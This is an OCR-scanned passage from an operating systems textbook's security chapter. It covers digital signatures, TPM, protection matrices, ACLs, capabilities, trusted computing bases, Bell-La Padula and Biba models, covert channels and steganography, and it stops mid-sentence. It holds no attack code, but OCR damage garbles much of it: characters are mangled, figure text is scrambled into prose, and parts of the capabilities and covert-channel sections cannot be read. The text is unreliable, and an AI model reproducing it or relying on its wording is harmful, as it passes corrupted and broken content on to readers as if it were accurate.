compressed Hash value 
to a hash run through D 

Original I 'v�a,:,' ":.e -��[=�;;;:::=:l document I' Hash t--- D(Hash) 

(a) 

Original 
document 

Signature{ 
block D(Hash) 

(b) 
Figure 9-3. (a) Computing a signature block. (b) What the receiver gets. 

When the document _and hash arrive, the receiver first computes the hash of 
the document using MDS or SHA, as agreed upon in advance. The receiver then 
applies the sender's public key to the signature block to get E(D(hash» . In ef
fect, it "encrypts" the decrypted hash, canceling it out and getting the hash back. 
If the computed hash does not match the hash from the signature block, the docu
ment, the signature block, or both have been tampered with (or changed by 
accident). The value of this scheme is that it applies (slow) public-key cryptogra
phy only to a relatively small piece of data, the hash. Note carefully that this 
method works only if for all x 

E(D(x)) = x  
It is not guaranteed a priori that all encryption functions will have this property 
since all that we originally asked for was that 

D(E(x)) = x 
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t�at is, E is the en�ryptio? function and D is the decryption function. To get the 
SIgnature property m addItIOn, the order of application must not matter that is D 
and E must be commutative functions. Fortunately, the RSA algorith� has ;hls 
property. 

To use this si?natur� schen:e, the receiver must know the sender's public key. 
Some users publIsh -theIr publIc key on their Web page. Others do not because 
they may be afr�id of an in�rud�r breaking in and secretly altering their key. For 
them, a� altemauve mechamsm IS needed to distribute public keys. One common 
m�thod IS for message senders to attach a certificate to the message, which con
tams the user's name and public key and is digitally Signed by a trusted third 
party. Onc� the user has acquired the public key of the trusted third party, he can 
acc.ept c:rtlficates from all senders who use this trusted third party to generate 
theIr certIficates. 

A r:usted third party that signs certificates is called a CA (Certification 
Authonty). However, for a user to verify a certificate signed by a CA the user 
needs .th� CA' s public key. Where does that come from and how doe; the user 
know �t IS the r�al one? To do this in a general way requires a whole scheme for 
managmg pubhc keys, called a PKI (Public Key Infrastructure). For Web 
br?wsers, th� problem is solved in an ad-hoc way: all browsers come preloaded 
WIth the pubhc keys of about 40 popular CAs. 

�bove we ha:e described �o� public-key cryptography can be used' for digi
tal SIgnatures. It IS worth mentlOmng that schemes that do not involve public-key 
cryptography also exist. 

9,2,5 Trusted Platform Module 

All crypto�aphy requires k�ys. If the 
.
keys are compromised, all the security 

based on them IS also comprorrused. Stonng the keys securely is thus essentiaL 
How does one store keys securely on a system that is not secure? 

One proposal that the industry has come up with is a chip called the TPM 
(Trusted Platform Modules), which is a cryptoprocessor with some nonvolatile 
storage .inside it for key�. The TPM can perform cryptographic operations such as 
encrypung blo�ks o! �lam�ext or decrypting blocks of ciphertext in main memory. 
It can also venfy dIgItal SIgnatures. By doing all these operations in specialized 
hardware, they become much fa�ter and are likely to be used more widely. Some 
computers already have TPM chips and many more are likely to have them in the 
future. 

TPM is extremely controversial because different parties have different ideas 
about who will control the TPM and what it will protect from whom. Microsoft 
has be�n � big �dvocate of this concept and has developed a series of technologies 
to use It, mcludmg Palladium, NGSCB, and BitLocker. In its view, the operating 
system controls the TPM to prevent unauthorized software from being run 
"Unauthorized software" might be pirated (i.e., illegally copied) software or jus� 
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software the operating system does not authorize. If the TPM is involved in the 

booting process, it might start only operating systems signed by a secret key 

placed inside the TPM by the manufacturer and disclosed only to selected operat

ing system vendors (e.g., Microsoft). Thus the TPM could be used to limit users' 

choices of software to those approved by the computer manufacturer. 

The music and movie industries are also very keen on TPM as it could be 

used to prevent piracy of their content. It could also open up new business mod

els, such as renting songs or movies for a specific period of time by refusing to 

decrypt them after the expiration date. 
TPM has a variety of other uses that we do not have space to get into. In

terestingly enough, the one thing TPM does not do is make computers more 

secure against external attacks. What it really focuses on is using cryptography to 

prevent userS from doing anything not approved directly or indirectly by whoever 

controls the TPM. If you would like to learn more about this subject, the article 

on Trusted Computing in the Wikipedia is a good place to start. 

9.3 PROTECTION MECHANISMS 

Security is easier to achieve if there is a clear model of what is to be protected 

and who is allowed to do what. Quite a bit of work has been done in this area, so 

we can only scratch the surface. We will focus on a few general models and the 

mechanisms for enforcing them. 

9.3.1 Protection Domains 

A computer system contains many "objects" that need to be protected. These 
objects can be hardware (e.g., CPUs, memory segments, disk drives, or printers), 
or they can be software (e.g., processes, files, databases, or semaphores). 

Each object has a unique name by which it is referenced, and a finite set of 
operations that processes are allowed to carry out on it. The read and write opera
tions are appropriate to a file; up and down make sense on a semaphore. 

It is obvious that a way is needed to prohibit processes from accessing objects 
that they are not authorized to access. Furthermore, this mechanism must also 
make it possible to restrict processes to a subset of the legal operations when that 
is needed. For example, process A may be entitled to read, but not write, file F. 

In order to discuss different protection mechanisms, it is useful to introduce 
the concept of a domain. A domain is a set of (object, rights) pairs. Each pair 
specifies an object and some subset of the operations that can be performed on it. 
A right in this context means permission to perform one of the operations. Often 
a domain corresponds to a single user, telling what the user can do and not do, but 
a domain can also be more general than just one user. For example, the members 
of a programming team working on some project might all belong to the same do
main so that they can all access the project files. 
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An important question is how the system keeps u:a�k of which obj�ct b�longs 
to which domain. Conceptually, at least, one can enVISIOn a large matnx, WIth the 
rows being domains and the columns being objects. Each box lists the rights, if 
any. that the domain contains for the object. The matrix for Fig. 9-4 is shown i� 
Fig. 9-5. Given this matrix and the current domain number, the system can tell If 
an access to a given object in a particular way from a specified domain is allowed. 

Fle1 , Rle2 
Domain 

Read Read 
Write 

2 

3 

File3 

Read 

Object 
File4 FileS 

Read Read Write 
Execute Write 

Figure 985. A protection matrix. 

File6 

Read 
Write 

Execute 

Printer1 Plotter2 

Write 

Write Write 

Domain switching itself can be easily included in the matrix model by realiz
ing that a domain is itself an object, with the operation enter. Figure 9-6 shows 
the matrix of Fig. 9-5 again, only now with the three domains as objects them
selves. Processes in domain 1 can switch to domain 2, but once there, they q.nnot 
go back. This situation models executing a SETUID program in UNIX. No other 
domain switches are permitted in this example. 

Domain 

, 

3 

Ol)ject 

F Fi: 2 FI 3 Fl 4 FI 5 Al 6 Printert Plotter2 Domain1 Domain2 Oomain3 ,le1 • " " , .  • 

Read 
Read Emer 
Write 

Read 
R�d 

Read Write Write 
Execute 

Write 

Read 
Write Write Write 

Execute 

Figure 9-6. A protection matrix with domains as objects. 

9.3.2 Access Control Lists 

In practice, actually storing the matrix of Fig. 9-6 is rarely done because it is 
large and sparse. Most domains have no access at all to most objects, so storing a 
very large, mostly empty, matrix is a waste of disk space. Two methods that are 
practical, however, are storing the matrix by rows or by columns, and then storing 
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o�ly the
. 

nonempty elements. The two approaches are surprisingly different. In 
�hlS sectIOn we will look at storing it by column; in the next we will study storing 
It by row. 

T?� first technique .
consists of associating with each object an (ordered) list 

contamlOg all the domalOs that may access the object, and how. This list is called 
the Access ControI .List (or ACL) and is illustrated in Fig. 9-7. Here we see 
three processes, each belonging to a different domain. A, B, and C, and three files 
Fl, F2, and F3. �or s�mplicity, we will aSSume that each domain corresponds to 
exactly one user, III thls case, users A, B, and C. Often in the security literature 
the users are called subjects or principals, to contrast them with the things own� 
ed, the objects, such as files. 

(9 User 
space 

� A: R; B:AW; C:R J Kernel 

File �, RW; R R I � ACL } 
L __ .':::§]=3'-_,...'I::=:B='RW=X;::::C::,::RX:.I ________ J 

'paoe 

Figure 9-7. Use of access control lists to manage file access. 

Each file has an ACL associated with it. File Fi has two entries in its ACL (separated by a semicolon). The first entry says that any process owned by user A may read and write the file. The second entry says that any process owned by user B may read the file. All other accesses by these users and all accesses by other users are forbidden. Note that the rights are granted by user, not by process. As far as the protection system goes, any process owned by user A can read and write file Fl. It does not matter jf there is one such process or 100 of them. It is the owner, not the process ID, that matters. 
File F2 has three entries in its ACL: A. B, and C can all read the file and in addition B can also write �t. No other accesses are allowed. File F3 is ap�arently an executable program, smce B and C can both read and execute it. B can also write it. �h�s example illustrates the most basic fonn of protection with ACLs. More SOphISticated .systems are often u.sed in practice. To start with, we have only shown three nghts so far: read, wnte, and execute. There may be additional rights as wen. Some of these may be generic, that is, apply to all objects, and some may 
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be object specific. Examples of generic rights are destroy object and copy object. 

These could hold for any object, no matter what type it is, Object-specific rights 

might include append message for a mailbox object and sort alphabetically for a 

directory object. 
So far, our ACL entries have been for individual users. Many systems support 

the concept of a group of users. Groups have names and can be included in 

ACLs. Two variations on the semantics of groups are possible. In some systems, 

each process has a user ID (UID) and group ID (GID), In such systems, an ACL 

entry contains entries of the form 

U1D1, G1D1: rights1; UID2, G1D2: rights2; ... 

Under these conditions, when a request is made to access an object, a check is 
made using the caller's DID and OlD. If they are present in the ACL, the rights 
listed are available. If the (DID, GID) combination is not in the list, the access is 
not permitted. 

Using groups this way effectively introduces the concept of a role. Consider 
a computer installation in which Tana is system administrator, and thus in the 
group sysadm. However, suppose that the company also has some clubs for em
ployees and Tana is a member of the pigeon fanciers club. Club members belong 
to the group pigfan and have access to the company's computers for managing 
their pigeon database. A portion of the ACL might be as shown in Fig. 9-8. 

File Access control list 

Password tana, sysadm: RW 

Pigeon_data bHl, pigfan: RW; tana, pigfan: RW; , 

Figure 9-8. Two access control lists. 

If Tana tries to access one of these files, the result depends on which group 

she is currently logged in as. When she logs in, the system may ask her to choose 

which of her groups she is currently using, or there might even be different login 

names and/or passwords to keep them separate. The point of this scheme is to pre

vent Tana from accessing the password file when she currently has her pigeon 

fancier's hat on. She can only do that when logged in as the system administrator. 

In some cases, a user may have access to certain files independent of which 

group she is currently logged in as. That case can be handled by introducing the 

concept of a wildcard, which mean everyone. For example, the entry 

tana, *: RW 

for the password file would give Tana access no matter which group she was cur

rently in as. 
Yet another possibility is that if a user belongs to any of the groups that have 

certain access rights, the access is permitted. The advantage here is that a user 
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n wIll contin?e to have the rights it had when 

, er IS no onger authonzed to access the file. 

9,3.3 Capabilities 

The other way of slicing up the matrix of F 9 6 '  b 
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. , 
n o w IC operauons are permitted on each in th �ords, Its

, 
domaIn. This list is called a capability list (or C�list) and the indiv�du:� 

I ems on It are called capabilities (Dennis and Van Horn 1966' Fabry 1974) A 
set of three pro�e�ses and their capability lists is shown in

' 
Fig. 9�9. ' 

, 

Each capabIlIty grants the owner certain rights on a certain ob' ecl. In Fi 9-
9, the process owned by user A can read files Fl a d F2 i: 

J g. 

b'l' , 
n , lor example Usually a 

capa I ity conSIsts of a file (or more generally a ob' t) 'd 'fi 
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for the various rio-hts I 
. ' n �ec I enU ler and a bItmap 

the ' d b 
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' n a

.
l!N�-hke system, the file identifier would probably be 

I-no e num er. apabIlIty lIsts are themselves ob'ects and b 
. 

from other capability lists, thus facilitating sharing of ;ubdomai:.
ay e pomted to 
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Figure 9�9. When capabilities are used, each process has a capability list. 
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It is fairly obvious that capability lists must be protected from user tampering. 
Three methods of protecting them are known. The first way requires a tagged 
architecture, a hardware design in which each memory word has an extra (or tag) 
bit that tells whether the word contains a capability or not. The tag bit is not used 
by arithmetic, comparison, or similar ordinary instructions, and it can be modified 
only by programs running in kernel mode (i.e., the operating system). Tagged-ar
chitecture machines have been built and can be made to work well (Feustal, 
1972). The IBM AS/400 is a popular example. 

The second way is to keep the C-list inside the operating system. Capabilities 
are then referred to by their position in the capability list A process might say: 
"Read 1 KB from the file pointed to by capability 2." This form of addressing is 
similar to using file descriptors in UNIX. Hydra (Wulf et al., 1974) worked this 
way. 

The third way is to keep the C-list in user space, but manage the capabilities 
cryptographically so that users cannot tamper with them. This approach is particu
larly suited to distributed systems and works as follows. When a client process 
sends a message to a remote server, for example, a file server, to create an object 
for it, the server creates the object and generates a long random number, the check 
field, to go with it. A slot in the server's file table is reserved for the object and 
the check field is stored there along with the addresses of the disk blocks. In UNIX 
terms, the check field is stored on the server in the i-node. It is not sent back to 
the user and never put on the network. The server then generates and returns a 
capability to the user of the form shown in Fig. 9-10. 

The capability returned to the user contains the server's identifier, the Object 
number (the index into the server's tables, essentially, the i-node number), and the 
rights, stored as a bitmap. For a newly created object, all the rights bits are turned 
on, of course, because the owner can do everything. The last field consists of the 
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Server f(Objects,Rights,Check) 

Figure 9·10. A cryptographically protected capability. 

concatenation of the obje�t, rights, and check field run through a cryptographi
cally secure one-way funCtion,!, of the kind we discussed earlier. 

When the user wishes to access the object, it sends the capability to the server 
as part of the request. The server then extracts the Object number to index into its 
tables to find the object It then computes f(Object, Rights, Check), taking the 
first two parameters from the capability itself and the third from its own tables. If 
the res�lt �g:ees 

.
with the fourth field in the capability, the request is honored; 

otherWIse, It IS �eJected. If a user tries to access someone else's object, he will not 
be able to fabncate the fourth field correctly since he does not know the check 
field, and the request will be rejected. 

A user Can as� the server to pr?duce a weaker capability, for example, for 
read-only access. FIrst the server venfies that the capability is valid. If so, it com
putes !(Object,New_rights,Check) and generates a new capability putting this 
value m the fourth field. Note that the original Check value is used because other 
outstanding capabilities depend on it. • 

. 
Th�s new capability is sent back to the requesting process. The user can now 

g�ve this to a friend by just sending it in a message. If the friend turns on rights 
bIts that shoU�d be off, the server win detect this when the capability is used since 
the f value WIll not correspond to the false rights field. Since the friend does not 
know the true check field, he cannot fabricate a capability that corresponds to the 
false rights bits. This scheme was developed for the Amoeba system (Tanenbaum 
et aI., 1990). 

In
. 
��dition to the specific object-dependent rights, such as read and execute, 

c�pabIhtl�s (both ker:nel and cryptographically protected) usually have generic 
nghts WhICh are applIcable to all objects. Examples of generic rights are 

1. Copy capability: create a new capability for the same object. 

2. Copy object: create a duplicate object with a new capability. 

3. Remove capability: delete an entry from the C-list; object unaffected. 

4. Destroy Object: permanently remove an object and a capability. 

A l�t re
.
mar� wo�h ma�ng about capability systems is that reVOking access 

to an object IS qUite dIfficult m the kernel-managed version. It is hard for the sys
tem to find all the outstanding capabilities for any object to take them back since 
they may be stored in C-lists all over the disk. One approach is to hav� each 
capability point to an indirect object, rather than to the object itself. By having 
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the indirect object point to the real object, the system can .a�ways bre� t.hat con

nection thus invalidatinO" the capabilities. (When a capabllIty to the mdirect ob

ject is l�ter presented to °the system, the user will discover that the indirect object 

is now pointing to a null object.) . 
In the Amoeba scheme, revocation is easy. All that needs to be done IS chan.ge 

the check field stored with the object. In one blow, all existing capabilities are m

validated. However, neither scheme allows selective revocation, that is, taking 

back, say, John's permission, but nobody else's. This defect is generally recog-

nized to be a problem with all capability systems. . '  . 
Another general problem is making sure the owner of a vahd capablltt� ??es 

not give a copy to 1000 of his best friends. Having the kernel manage �apab�htl�s, 

as in Hydra, solves the problem, but this solution does not work well m a dIstnb

uted system such as Amoeba. 
Briefly summarized, ACLs and capabilities have somewhat complementary 

properties. Capabilities are very efficient because if a pr�cess says "Open th� file 

pointed to by capability 3" no checking is needed. WIth ACLs, a (potenuaUy 

long) search of the ACL may be needed. If groups are. not supported .. then grant

ino- everyone read access to a file requires enumeratIng all users III the ACL. 

C;pabilities also allow a process to be encapsulated easily, wherea� ACLs d? .n?t. 

On the other hand, ACLs allow selective revocation of rights, which capabllIt��s 

do not. Finally, if an object is removed and the capabilities are not or the capabIlI

ties are removed and an object is not, problems arise. ACLs do not suffer from 

this problem. 

9.3.4 Trusted Systems 

One reads about viruses and worms -and other problems in the news all the 

time. A naive person might logically ask two questions concerning this state of 

affairs: 
1 .  Is it possible to build a secure computer system? 
2. If so, why is it not done? 

The answer to the first one is basically yes. How to build a secure system has been 
known for decades. MULTICS, designed in the 1960s, for example, had security 
as one of its main goals and achieved that fairly welL . . Why secure systems are not being built is more complIcated, but It comes 
down to two fundamental reasons. First, current systems are not secure but users 
are unwilling to throw them out. If Microsoft were to announce that in addition to 
Windows it had a new product, SecureOS, that was resistant to viruses but did not 
run Windows applications, it is far from certain that every pers�n and .company 
would drop Windows like a hot potato and buy the new s.ystem mmle�late:-Iy. In 
fact, Microsoft has a secure as (Fandrich et a1., 2006) but IS not marketmg It. 
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�e second .iss�e is more subtle. The only known way to build a secure sys
te� IS to .keep It sImple. Features are the enemy of security. System designers 
believe (nghtly or wrongly) that what users want is more features. More features 
mean more comple�ty, more code, more bugs, and more security errors. 

Here are two sImple examples. The first e-mail systems sent messages as 
ASCII text. They w�re completely secure. There is nothing an incoming ASCII 
message can do to damage a computer system. Then people got the idea to ex
pand e-mail to include other types of documents, for example, Word files, which 
can contain programs in macros. Reading such a document means running some
body else's program on your computer. No matter how much sandboxino- is used 
runn�ng a foreign program on your computer is inherently more dange�ous tha� 
looking at ASCII �ext. Did users demand the ability to change e-mail from passive 
documents t� aC�Ive pr�grams? Probably not, but systems designers thought it 
would be a mfty Idea, WIthout worrying too much about the security implications. 

The second example is the same thing for Web pages. When the Web con� 
sisted of passive HTML pages, it did not pose a major security problem. Now that 
many Web pages contain programs (applets) that the user has to run to view the 
content, o�e security leak after another pops up. As soon as one is fixed, another 
one t�es Its pla?e. When the Web was entirely static, were users up in arms de
mandmg dynarruc content? Not that the author remembers, but its introduction 
brought with it a raft of security problems. It looks like the Vice-President-In
Charge�Of-Saying-No was asleep at the wheel. 

Actual�y, there are some organizations that think good security is more impor
�ant thru: mfty ne� features, the military being the prime example. In the follow
mg sectIOns we wIll look some of the issues involved, but they can be summarized 
in one sentence. To build a secure system, have a security model at the core of 
the op.erating s�stem that is simple enough that the designers can actually under
stand It, and reSIst all pressure to deviate from it in order to add new features. 

9.3.5 Trusted Computing Base 

In the security world, people often talk about trusted systems rather than 
secure systems. The�e are systems that have formally stated security requirements 
and meet these reqll1rements. At the heart of every trusted system is a minimal 
TCB (Trusted Computing Base) consisting of the hardware and software neces
sary fO: enf�rcing all the security rules. If the trusted computing base is working 
�o speCIficatIOn, the system security cannot be compromised, no matter what else 
IS wrong. . 

The TCB typically consists of most of the hardware (except' I/O devices that 
do not affect security), a portion of the operating system kernel, and most or all of 
the user programs that have superuser power (e.g., SETUID root programs in UNI�). Operating system functions that must be part of the TeB include process 
creatlOn, process switching, memory map management, and part of file and I/O 
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management. In a secure design, often �� �C� wi�l be quite .sep.arate from the 
rest of the operating system in order to mmnTIlze Its SIze and venfy Its .con:ectness. 

An important part of the TeB is the reference monitor> as �hown III FIg. 9-� 1. 
The reference monitor accepts all system calls involving secunty, such as open�ng 
files and decides whether they should be processed or not The reference momtor 
thus' allows all the security decisions to be put in one place, with no possibility of 
bypassing it. Most operating systems are not designed this way, which is part of 
the reason they are so insecure. 

process 

Figure 9·11. A reference monitor. 

User 
space 

Kernel 
space 

One of the O"oals of some current security research is to reduce the trusted 
computing base from millions of lines of code to merely tens of thous�nds of lines 
of code. In Fig. 1-26 we saw the structure of the MINIX 3 operatmg system, 
which is a POSIX-confonnant system but with a radically different structure than 
Linux or FreeBSD. With MINIX 3, only about 4000 lines of code run in the ker
neL Everything else runs as a set of user processes. Some of these, like the file 
system and the process manager, are part of the trusted computing bas� since t.hey 
can easily compromise system security. But other parts, such as the prmter dnver 
and the audio driver, are not part of the trusted computing base and no matter 
what is wrong with them (even if they are taken over by a virus), there is noth�ng 
they can do to compromise system security. By reducing the trusted computmg 
base by two orders of magnitude, systems like MINIX 3 can potentially offer much 
higher security than conventional designs. 

9.3.6 Fonnal Models of Secure Systems 

Protection matrices, such as that of Fig. 9-5, are not static. They frequently 
change as new objects are created, old objects are destroyed, and owners decide to 
increase or restrict the set of users for their objects. A considerable amount of 
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attention has been paid to modeling protection systems in which the protection 
matrix is constantly changing. We will now touch briefly upon some of this work. 

Decades ago, Harrison et a1. (1976) identified six primitive operations on the 
protection matrix that can be used as a base to model any protection system. 
These primitive operations are create object, delete object, create domain, delete 
domain, insert right; and remove right. The two latter primitives insert and re
move rights from specific matrix elements, such as granting domain 1 permission 
to read File6. 

These six primitives can be combined into protection commands. It is these 
protection commands that user programs can execute to change the matrix. They 
may not execute the primitives dire<.:;tly. For example, the system might have a 
command to create a new file, which would test to see if the file already existed, 
and if not, create a new object and give the owner all rights to it. There might also 
be a command to allow the owner to grant permission to read the file to everyone 
in the system, in effect, inserting the "read" right in the new file's entry in every 
domain. 

At any instant, the matrix determines what a process in any domain can do, 
not what it is authorized to do. The matrix is what is enforced by the system; 
authorization has to do with management policy. As an example of this distinc
tion, let us consider the simple system of Fig. 9-12 in which domains correspond 
to users. In Fig. 9-12(a) we see the intended protection policy: Henr/ can read 
and write mailbox7, Robert can read and write secret, and all three users can read 
and execute compiler. 

Objects Objects 
Compiler Mailbox 7 Secret Compiler Mailbox 7 Secret 

Eric Read 
Execute 

Read 
Execute Eric 

Read Read 
Execute Write 

Read Read 
Execute Write Henry Henry 

, Read Read 
Execute Write Rober , Read Read Read 

Execute Write Rober 

(a) (b) 

Figure 9�12. (a) An authorized state. (b) An unauthorized state. 

Now imagine that Robert is very clever and has found a way to issue com
mands to have the matrix changed to Fig. 9-12(b). He has now gained access to 
mailbox7, something he is not authorized to have. If he tries to read it, the operat
ing system will carry out his request because it does not know that the state of 
Fig. 9-12(b) is unauthorized. 

It should now be clear that the set of all possible matrices can be partitioned 
into two disjoint sets: the set of a11 authorized states and the set of all unauthorized 
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states. A question around which much theoretical research has revolved is this: 
"Given an initial authorized state and a set of commands, can it be proven that the 
system can never reach an unauthorized state?" 

In effect, we are asking if the available mechanism (the protection commands) 
is adequate to enforce some protection policy. Given this policy, some initial state 
of the matrix, and the set of commands for modifying the matrix, what we would 
like is a way to prove that the system is secure. Such a proof turns out quite diffi
cult to acquire; many general-purpose systems are not theoretically secure. 
Hanison et a1. (1976) proved that in the case of an arbitrary configuration for an 
arbitrary protection system, security is theoretically undecidable. However, for a 
specific system, it may be possible to prove whether the system can ever move 
from an authorized state to an unauthorized state. For more infonnation, see 
Landwehr (1981). 

9.3.7 Multilevel Security 

Most operating systems allow individual users to determine who may read 
and write their files and other objects. This policy is called discretionary access 
control. In many environments this model works fine, but there are other envi
ronments where much tighter security is required, such as the military, corporate 
patent departments, and hospitals. In the latter environments, the organization has 
stated rules about who can see what, and these may not be modified by individual 
soldiers, lawyers, or doctors, at least not without getting special pennission from 
the boss. These environments need mandatory access controls to ensure that the 
stated security policies are enforced by the system, in addition to the standard dis
cretionary access controls. What these mandatory access controls do is regulate 
the flow of infonnation, to make sure that it does not leak out in a way it is not 
supposed to. 

The Bell-La Padula Model 

The most widely used multilevel security model is the BellRLa Padula model 
so we will start there (Bell and La Padula, 1973). This model was designed for 
handling military security, but it is also applicable to other organizations. In the 
military world, documents (objects) can have a security level, such as unclassi
fied, confidential, secret, and top secret. People are also assigned these levels, de
pending On which documents they are allowed to see. A general might be allowed 
to see all documents, whereas a lieutenant might be restricted to documents 
cleared as confidential and lower. A process running on behalf of a user acquires 
the user's security level. Since there are multiple security levels, this scheme is 
called a multilevel security system. 
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The Bell-La Padula model has rules about how infonnation can flow: 

1. The simple security property: A process running at security level k 
can read only Objects at its level or lower. For example, a general can 
read a lieutenant's documents but a lieutenant cannot read a gener
ai' s documents. 

2. T�e * pro?erty: A pr�cess running at security level k can write only 
objects at Its level or hlgher. For example, a lieutenant can append a 
message to a general's mailbox telling everything he knows, but a 
general cannot append a message to a lieutenant's mailbox telling 
everything he knows because the general may have seen top-secret 
documents that may not be disclosed to a lieutenant. 

633 

Roughly summarized, processes can read down and write up, but not the reverse. If the system rigorously enforces these two properties, it can be shown that no infonnation can leak Out from a higher security level to a lower one. The * property was so named because in the original report, the authors could not think of a good name for it and used * as a temporary placeholder until they could devise a better name. They never did and the report was printed with the *. In this model, processes read and write objects, but do not communicate with each other direct-1y. The Bell-La Padula model is illustrated graphically in Fig. 9-13. 

legend 

Process Object 0---' ----iO Read 

Security level 

4 

3 

2 

, , ' 

,A _______ / 
- - - - -\V 

Figure 9-13. The Bell-La Padula multilevel security model. 

In this figure a (solid) arrow from an object to a process indicates that the 
process is 

.
re�ding the object, that is, information is flowing from the object to the 

process. Snrularly, a (dashed) arrow from a process to an object indicates that the 
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process is writing into the object, that is, information is flowing from the process 

to the object. Thus all information flows in the direCtion of the arroWS. For ex

ample, process B can read from object 1 but not from object 3. 

The simple security property says that all solid (read) arrowS go sideways or 

up. The * property says that all dashed (write) arrows also go sideways or up. 

Since information flows only horizontally Of upward, any information that starts 

out at level k can never appear at a lower level. In other words, there is never a 

path that moves information downward, thus guaranteeing the security of the 

model. 
The Bell-La Padula model refers to organizational structure, but ultimately 

has to be enforced by the operating system. One way this could be done is by 

assigning each user a security level, to be stored along with other user-specific 

data such as the UID and GID. Upon login, the user's shell would acquire the 

user's security level and this would be inherited by all its children. If a process 

running at security level k attempted to open a file or other object whose security 

level is greater than k, the operating system should reject the open attempt. Simiw 

lady attempts to open any object of security level less than k for writing must faiL 

The Biba Model 

To summarize the Bell-La Padula model in military terms, a lieutenant can 
ask a private to reveal all he knows and then copy this information into a general's 
file without violating security. Now let uS put the same model in civilian terms. 
Imagine a company in which janitors have security level l,  programmers have sew 
curity level 3, and the president of the company has security level 5. Using BeU
La Padula, a programmer can query a janitor about the company's future plans 
and then overwrite the president's files that contain corporate strategy. Not aU 
companies might be equally enthusiastic about this model. 

The problem with the Bell-La Padula model is that it was devised to keep 
secrets, not guarantee the integrity of the data. To guarantee the integrity of the 
data, we need precisely the reverse properties (Biba, 1977): 

1. The simple integrity principle: A process running at security level 
k can write only objects at its level or lower (no write up). 

2. The integrity * property: A process running at security level k can 
read only objects at its level or higher (no read down). 

Together, these properties ensure that the programmer can update the janitor's 
files with information acquired from the president, but not vice versa. Of course, 
some organizations want both the Bell-La Padula properties and the Biba proper
ties, but these are in direct conflict so they are hard to achieve simultaneously. 
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9.3.8 Covert Channels 

but ��\:�:�����;t;�::��a� �����S��d ��Oe:a?IY secure syst�ms sound great, 
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g
for th� se�� proce.ss to leak to the collaborator process the information that it has legiti:

r
:;

l
���celved from the client process. Lampson called this the confinement 

Client Server Collaborator 

D 
Kernel 

(a) 

Encapsulated server 
J 

Kerne�-
� ...... c ...... overt 

channel 

(b) 

Figure 9�14. (a) Th.e client, server, and collaborator processes. (b) The enc -
sulated server can still leak to the collaborator via covert channels. 

ap 

From the s�stem designer's point of view, the goal is to encapsulate or con
fin� the server �n such � way that it cannot pass information to the collaborator. 
Usmg a protection matnx scheme we can easily guarantee that th 
communicate . th th II b 

e server cannot 

d 
WI e co a orator by writing a file to which the collaborator has 

re� access. We can �robably also ensure that the server cannot communicate 
With the collaborator usmg the system's interprocess communication mechanism. 
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Unfortunately, more subtle communication channels may also be available. 
For example, the server can try to communicate a bina:r bit streaI? as follows. 
To send a 1 bit, it computes as hard as it can for a fixed mterval of time. To send 
a 0 bit, it goes to sleep for the same length of time. . . . The collaborator can try to detect the bit stream by carefully momtonng Its 
response time. In general, it will get bett�r response

. 
wh�n the serve: is sending a 

o than when the server is sending a 1. Thls commumcatlOll channel IS known as a 
covert channel, and is illustrated in Fig. 9-14(b). 

Of course, the covert channel is a noisy channel, containing a lot of extrane
ous infonnation, but information can be reliably sent over a noisy c�annel by 
using an error-correcting code (e.g., a Hamming code, or even something more 
sophisticated). The use of an error-correcti�g c?de reduces the already low band
width of the covert channel even more, but It stIll may be enough to leak substan
tial information. It is fairly obvious that no protection model based on a matrix of 
objects and domains is going to prevent this kind of leakage. . Modulating the CPU usage is not the only covert channel. The pagmg rate can 
also be modulated (many page faults for a 1, no page faults for a 0). In fact, al
most any way of degrading system performance in a clocked way is a candidate. 
If the system provides a way of locking files, then the server ca� lock some fil� to 
indicate a I, and unlock it to indicate a O. On some systems, It may be posslb�e 
for a process to detect the status of a lock even on a file that it cannot access. ThIS 
covert channel is illustrated in Fig. 9-15, with the file locked or unlocked for some 
fixed time interval known to both the server and collaborator. In this example, the 
secret bit stream 1 1010100 is being transmitted. 

Time _ 

Figure 9-15. A covert channel using file locking. 

Locking and unlocking a prearranged file, S, is not an. especi.ally noisy ch�n
nel but it does require fairly accurate timing unless the bIt rate IS very low. 1he 
reliability and performance can be increased even more using an acknow
ledgement protocol. This protocol uses two more files, F 1 and F2, locked by the 
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server and collaborator, respectively, to keep the two processes synchronized. 
After the server locks or unlocks S, it flips the lock status of F 1 to indicate that a 
bit has been sent. As soon as the collaborator has read out the bit, it flips F2's 
loc� statu� to. tell the server it is ready for another bit and waits until Fl is flipped 
agam to mdtcate that another bit is present in S. Since timing is no longer 
involved, this protocol is fully reliable, even in a busy system, and can proceed as 
fast as the two processes can get scheduled. To get higher bandwidth, why not 
use two files per bit time, or make it a byte-wide channel with eight signaling 
files, SO through S7? 

Acquiring and releasing dedicated resources (tape drives, plotters, etc.) can 
also be used for signaling. The server acquires the resource to send a 1 and re
leases it to send a O. In UNIX, the server could create a file to indicate a 1 and re
move it to indicate a 0; the collaborator could use the access system call to see if 
the file exists. This call works even though the collaborator has no permission to 
use the file. Unfortunately, many other covert channels exist. 

Lampson also mentioned a way of leaking infonnation to the (human) owner 
of the server process. Presumably the server process will be entitled to tell its 
owner how much work it did on behalf of the client, so the client can be billed. If 
the actual computing bill is, say, $100 and the client's income is $53,000, the ser
ver could report the bill as $100.53 to its owner. 

Just finding all the covert channels, let alone blocking them, is extremely dif
ficult. In practice, there is little that can be done. Introducing a process that 
causes pa�e faults at random or otherwise spends its time degrading system per
fonnance m order to reduce the bandwidth of the covert channels is not an attrac
tive proposition. 

Steganography 

A slightly different kind of covert channel can be used to pass secret infor
�ation between processes, even though a human or automated censor gets to 
Inspect all messages between the processes and veto the suspicious ones. For ex
ample, consider a company that manually checkS all outgoing e-mail sent by com
pany employees to make sure they are not leaking secrets to accomplices or COffi
�etitors outside the company. Is there a way for an employee to smuggle substan
tial volumes of confidential information right out under the censor's nose? It 
turns out there is. 

As . a case in poi�t, consider Fig. 9-16(a). This photqgraph, taken by the 
author m Kenya, contams three zebras contemplating an acacia tree. Fig. 9-16(b) 
appears to be the same three zebras and acacia tree, but it has an extra added 
attraction. It contains the complete, unabridged text of five of Shakespeare's 
plays embedded in it: Hamlet, King Lear, Macbeth, The Merchant of Venice, and 
Julius Caesar. Together, these plays total over 700 KB of text. 
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Figure 9.16. (a) Three zebras and a tree. (b) Three zebras, a tree, and the com

plete text of five plays by William Shakespeare. 

How does this covert channel work? The original color image is 1024 x 768 

· 1 Each pj'xel consists of three 8-bit numbers, one each for the red, green, and 
plxe s. - .  

I" Of 
blue intensity of that pixel. The pixel's color IS formed by the me� superpOSl Ion 

